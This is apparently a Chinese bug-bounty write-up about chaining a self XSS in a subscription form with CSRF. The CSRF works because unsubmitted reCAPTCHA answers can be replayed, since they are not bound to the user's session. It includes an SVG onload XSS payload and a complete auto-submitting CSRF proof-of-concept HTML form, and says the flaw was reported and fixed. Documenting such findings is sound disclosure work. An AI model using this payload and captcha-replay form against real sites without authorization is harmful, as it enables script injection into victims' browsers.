记一次Self XSS+CSRF组合利用
视频教程在我主页简介或专栏里
(不懂都可以来问我 专栏找我哦)
目录:
确认 XSS 漏洞
确认 CSRF 漏洞
这个漏洞是我在应用程序的订阅表单中发现的一个 XSS 漏洞,只能通过 POST 请求进行利用。通常情况下,基于 POST 的 XSS 如果没有与 CSRF 结合来展示其影响力,那么这就是一个普通的反射型 XSS(Self XSS)。本来这不会成为一个大问题,但这个表单中实现了 Google reCAPTCHA v2。本文将探讨我是如何绕过 CAPTCHA,从而成功实现 CSRF 攻击的。
为了保持匿名性,我们假设目标网站是 https://www.target.com。当你访问 target.com 时,会看到一个注册和登录表单,但引起我注意的是一个订阅按钮,该按钮会将你引导至 https://www.target.com/subscribe。在这个页面上,会显示一个表单。
提交表单后,我们会收到一条感谢消息,其中显示了我们的名字(例如 John)。
确认 XSS 漏洞
我们可以使用以下 payload 在该字段中测试反射型 XSS 漏洞:
"><svg/onload=confirm(document.domain)>
当我们提交表单时,payload 被成功执行。现在我们已经确认了漏洞的存在,但问题在于,这个漏洞基于 POST 请求,如果没有 CSRF 的配合,它就会变成一个自我 XSS(Self XSS)。
确认 CSRF 漏洞
如果 CAPTCHA 没有被稳健地实现,它并不能保护应用程序免受 CSRF 攻击,主要作用只是提供一定程度的速率限制。在解决 CAPTCHA 后,会生成三个动态参数:captcha_sid
、captcha_token
和 g_recaptcha_response
。这里的“动态”是指它们的值会在每次解决 CAPTCHA 时发生变化。要构造一个完美的 CSRF 表单,我们需要能够为这些参数传递有效的值。
那么,如果我在另一个浏览器中解决了 CAPTCHA,但不将其提交到服务器,而是将这些答案重放到 CSRF 表单中,会怎样呢? 我在一个私密标签页中打开了表单页面,填写了表单内容,然后解决了 CAPTCHA。我在 Burp Suite 中启用了拦截功能,并点击了提交。请求被拦截后,我复制了 CAPTCHA 参数的值,并将它们插入到我的 CSRF 漏洞利用演示(PoC)表单中。
<html> <body>
<h1>CSRF PoC</h1>
<form action="https://www.target.com/subscribe" method="POST">
<input type="hidden" name="name_first" value="'><svg/onload=confirm(document.domain)>" />
<input type="hidden" name="name_last" value="Doe" />
<input type="hidden" name="email_address" value="test@fake.com" />
<input type="hidden" name="company_name" value="FakeCompany" />
<input type="hidden" name="captcha_sid" value="INSERT-HERE" />
<input type="hidden" name="captcha_token" value="INSERT-HERE" />
<input type="hidden" name="captcha_response" value="Google no captcha" />
<input type="hidden" name="g-recaptcha-response" value="INSERT-HERE" />
<input type="hidden" name="captcha_cacheable" value="1" />
<input type="hidden" name="op" value="Submit" />
<input type="hidden" name="form_build_id" value="form-Vwtw-XX&" />
<input type="hidden" name="form_id" value="XX_subscribe_sign_up_form" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
剩下要做的就是将这个 CSRF 漏洞利用表单托管起来,让受害者访问。受害者访问你的恶意网站后,会被重定向到 https://www.target.com/subscribe,订阅表单会在没有任何交互的情况下自动提交,JavaScript 代码则会在他们的浏览器中执行。
总结来说,CAPTCHA 并未绑定到用户的会话,因此未提交的其他用户的 CAPTCHA 答案可以被重放,用于我们的攻击。
我将这一发现提交给了他们的安全团队,他们迅速确认并修复了这个问题。
视频教程在我主页简介或专栏里
(不懂都可以来问我 专栏找我哦)
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关
相关文章:

记一次Self XSS+CSRF组合利用
视频教程在我主页简介或专栏里 (不懂都可以来问我 专栏找我哦) 目录: 确认 XSS 漏洞 确认 CSRF 漏洞 这个漏洞是我在应用程序的订阅表单中发现的一个 XSS 漏洞,只能通过 POST 请求进行利用。通常情况下,基于 POST 的…...
JVM 类加载子系统在干什么?
JVM 类加载子系统是什么? 类加载子系统(Class Loader Subsystem)是 JVM 负责 加载、链接和初始化 .class 文件的组件。它的主要作用是将字节码文件加载进 JVM 并准备执行。 类加载器(ClassLoader)是 字节码的搬运工&…...
Golang轻松实现消息模板变量替换:text/template
text/template 是 Go 语言标准库中的一个包,用于生成文本输出。它通过解析模板并根据给定的数据执行模板来生成最终的文本。text/template 提供了强大的模板引擎,支持条件判断、循环、变量替换等功能。 基本概念 模板:模板是一个文本文件或…...

DeepSeek模型R1服务器繁忙,怎么解决?
在当今科技飞速发展的时代,人工智能领域不断涌现出令人瞩目的创新成果,其中DeepSeek模型无疑成为了众多关注焦点。它凭借着先进的技术和卓越的性能,在行业内掀起了一股热潮,吸引了无数目光。然而,如同许多前沿技术在发…...
《探秘Windows 10驱动开发:从入门到实战》
《探秘Windows 10驱动开发:从入门到实战》 为什么要在 Windows 10 编写驱动程序 在当今数字化时代,计算机已成为人们生活和工作中不可或缺的工具 ,而 Windows 10 作为一款广泛使用的操作系统,其生态系统的丰富性和复杂性不言而喻。在这个庞大的体系中,驱动程序扮演着举足…...

Golang的容器化部署流程
# Golang的容器化部署流程 什么是容器化部署 容器化部署是将应用程序、运行环境及其依赖项打包在一起,以便可以在任何环境中快速、一致地运行的技术。它提供了更高效的资源利用、更便捷的部署和更稳定的环境。 的容器化支持 天生支持跨平台编译,使得将Go…...
计算机网络,大白话
好嘞,咱就从头到尾,给你好好说道说道计算机网络里这些“门门道道”的概念: 1. 网络(Network) 啥是网络? 你可以把网络想象成一个“大Party”,大家(设备)聚在一起&#…...

智慧城市V4系统小程序源码独立版全插件全开源
智慧城市V4系统小程序源码:多城市代理同城信息服务的全域解决方案 在数字化浪潮的推动下,智慧城市已成为全球发展的核心战略。作为这一领域的革新者,智慧城市V4系统小程序源码凭借其多城市代理同城信息服务能力与多商家营销功能,…...
SpringBoot分布式应用程序和数据库在物理位置分配上、路由上和数量上的最佳实践是什么?
在设计和部署Spring Boot分布式应用程序时,物理位置分配、路由和数据库数量的最佳实践对系统性能、可用性和可维护性至关重要。以下是相关建议: 1. 物理位置分配 最佳实践: 靠近用户部署:将应用实例部署在靠近用户的数据中心&a…...
【LeetCode Hot100 哈希】两数之和、字母异位词分组、最长连续序列
哈希 1. 两数之和题目描述解题思路步骤:时间复杂度:空间复杂度: 代码实现 2. 字母异位词分组题目描述解题思路步骤:时间复杂度:空间复杂度: 代码实现 3. 最长连续序列题目描述解题思路关键思路:…...

Jenkins 通过 Execute Shell 执行 shell 脚本 七
Jenkins 通过 Execute Shell 执行 shell 脚本 七 一、创建 .sh 文件 项目目录下新建 .sh 文件 jenkins-script\shell\ci_android_master.sh添加 Execute Shell 模块 在 Command 中添加 # 获取 .sh 路径 CI_ANDROID_MASTER_PATH"${WORKSPACE}/jenkins-script/shell/…...
无人机常见的定位方式
目录 1、卫星导航定位 2、基于地面基站定位 3、惯性导航定位 4、视觉定位 5、其他定位技术 目前无人机的定位方式主要有以下几种: 1、卫星导航定位 GPS 定位:全球定位系统是应用最广泛的卫星导航系统,无人机上的 GPS 接收器接收至少四…...

【Git版本控制器】:第一弹——Git初识,Git安装,创建本地仓库,初始化本地仓库,配置config用户名,邮箱信息
🎁个人主页:我们的五年 🔍系列专栏:Linux网络编程 🌷追光的人,终会万丈光芒 🎉欢迎大家点赞👍评论📝收藏⭐文章 相关笔记: https://blog.csdn.net/dj…...

使用 EDOT 监测由 OpenAI 提供支持的 Python、Node.js 和 Java 应用程序
作者:来自 Elastic Adrian Cole Elastic 很自豪地在我们的 Python、Node.js 和 Java EDOT SDK 中引入了 OpenAI 支持。它们为使用 OpenAI 兼容服务的应用程序添加日志、指标和跟踪,而无需任何代码更改。 介绍 去年,我们宣布了 OpenTelemetry…...
基于 STM32 的病房监控系统
标题:基于 STM32 的病房监控系统 内容:1.摘要 基于 STM32 的病房监控系统摘要:本系统采用 STM32 微控制器作为核心,通过传感器实时监测病房内的环境参数,如温度、湿度、光照等,并将数据上传至云端服务器。医护人员可以通过手机或…...
线上HBase client返回超时异常分析 HBase callTimeout=60000
问题现象 HBase client直接返回超时异常 HBase callTimeout=60000, callDuration=60301: row ‘12649160863966c2790195059018040900010003320’ on table ‘Z_UPA’ at region=Z_UPA,1213d1a56,1184027415643. ba7224f83dbb09591a74b7059f17., hostname=abcd,60020,891863950…...
03.开闭原则详细介绍
03.开闭原则详细介绍 目录介绍 01.问题思考的分析02.如何理解开闭原则03.开闭原则的背景04.开闭原则比较难学05.实现开闭原则方式06.画图形案例分析07.银行业务案例分析08.开闭原则优缺点09.开闭原则的总结 推荐一个好玩网站 一个最纯粹的技术分享网站,打造精品…...
前端职业规划
前端开发的职业规划可以根据个人兴趣、技术深度和职业目标来制定。以下是一个典型的前端开发者职业发展路径,涵盖了从初级到高级的不同阶段,以及未来的发展方向: 1. 初级阶段(0-2 年) 目标:掌握基础技能&a…...

杂记:STM32 调试信息打印实现方式
杂记:STM32 调试信息打印实现方式 一、引言二、使用 USART 串口打印原理(二)实现步骤硬件连接代码实现 使用 ST - LINK 调试器 ITM 打印(一)原理(二)实现步骤硬件连接代码实现 四、使用 Semihos…...

python+unity落地方案实现AI 换脸融合
先上效果再说技术结论,使用的是自行搭建的AI人脸融合库,可以离线不受限制无限次生成,有需要的可以后台私信python ai换脸融合。 TODO 未来的方向:3D人脸融合和AI数据训练 这个技术使用的是openvcinsighface,openvc…...

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明
LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造,完美适配AGV和无人叉车。同时,集成以太网与语音合成技术,为各类高级系统(如MES、调度系统、库位管理、立库等)提供高效便捷的语音交互体验。 L…...

Appium+python自动化(十六)- ADB命令
简介 Android 调试桥(adb)是多种用途的工具,该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具,其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利,如安装和调试…...

centos 7 部署awstats 网站访问检测
一、基础环境准备(两种安装方式都要做) bash # 安装必要依赖 yum install -y httpd perl mod_perl perl-Time-HiRes perl-DateTime systemctl enable httpd # 设置 Apache 开机自启 systemctl start httpd # 启动 Apache二、安装 AWStats࿰…...

Swift 协议扩展精进之路:解决 CoreData 托管实体子类的类型不匹配问题(下)
概述 在 Swift 开发语言中,各位秃头小码农们可以充分利用语法本身所带来的便利去劈荆斩棘。我们还可以恣意利用泛型、协议关联类型和协议扩展来进一步简化和优化我们复杂的代码需求。 不过,在涉及到多个子类派生于基类进行多态模拟的场景下,…...

iPhone密码忘记了办?iPhoneUnlocker,iPhone解锁工具Aiseesoft iPhone Unlocker 高级注册版分享
平时用 iPhone 的时候,难免会碰到解锁的麻烦事。比如密码忘了、人脸识别 / 指纹识别突然不灵,或者买了二手 iPhone 却被原来的 iCloud 账号锁住,这时候就需要靠谱的解锁工具来帮忙了。Aiseesoft iPhone Unlocker 就是专门解决这些问题的软件&…...
Auto-Coder使用GPT-4o完成:在用TabPFN这个模型构建一个预测未来3天涨跌的分类任务
通过akshare库,获取股票数据,并生成TabPFN这个模型 可以识别、处理的格式,写一个完整的预处理示例,并构建一个预测未来 3 天股价涨跌的分类任务 用TabPFN这个模型构建一个预测未来 3 天股价涨跌的分类任务,进行预测并输…...
在鸿蒙HarmonyOS 5中使用DevEco Studio实现录音机应用
1. 项目配置与权限设置 1.1 配置module.json5 {"module": {"requestPermissions": [{"name": "ohos.permission.MICROPHONE","reason": "录音需要麦克风权限"},{"name": "ohos.permission.WRITE…...

tree 树组件大数据卡顿问题优化
问题背景 项目中有用到树组件用来做文件目录,但是由于这个树组件的节点越来越多,导致页面在滚动这个树组件的时候浏览器就很容易卡死。这种问题基本上都是因为dom节点太多,导致的浏览器卡顿,这里很明显就需要用到虚拟列表的技术&…...
DeepSeek 技术赋能无人农场协同作业:用 AI 重构农田管理 “神经网”
目录 一、引言二、DeepSeek 技术大揭秘2.1 核心架构解析2.2 关键技术剖析 三、智能农业无人农场协同作业现状3.1 发展现状概述3.2 协同作业模式介绍 四、DeepSeek 的 “农场奇妙游”4.1 数据处理与分析4.2 作物生长监测与预测4.3 病虫害防治4.4 农机协同作业调度 五、实际案例大…...

html-<abbr> 缩写或首字母缩略词
定义与作用 <abbr> 标签用于表示缩写或首字母缩略词,它可以帮助用户更好地理解缩写的含义,尤其是对于那些不熟悉该缩写的用户。 title 属性的内容提供了缩写的详细说明。当用户将鼠标悬停在缩写上时,会显示一个提示框。 示例&#x…...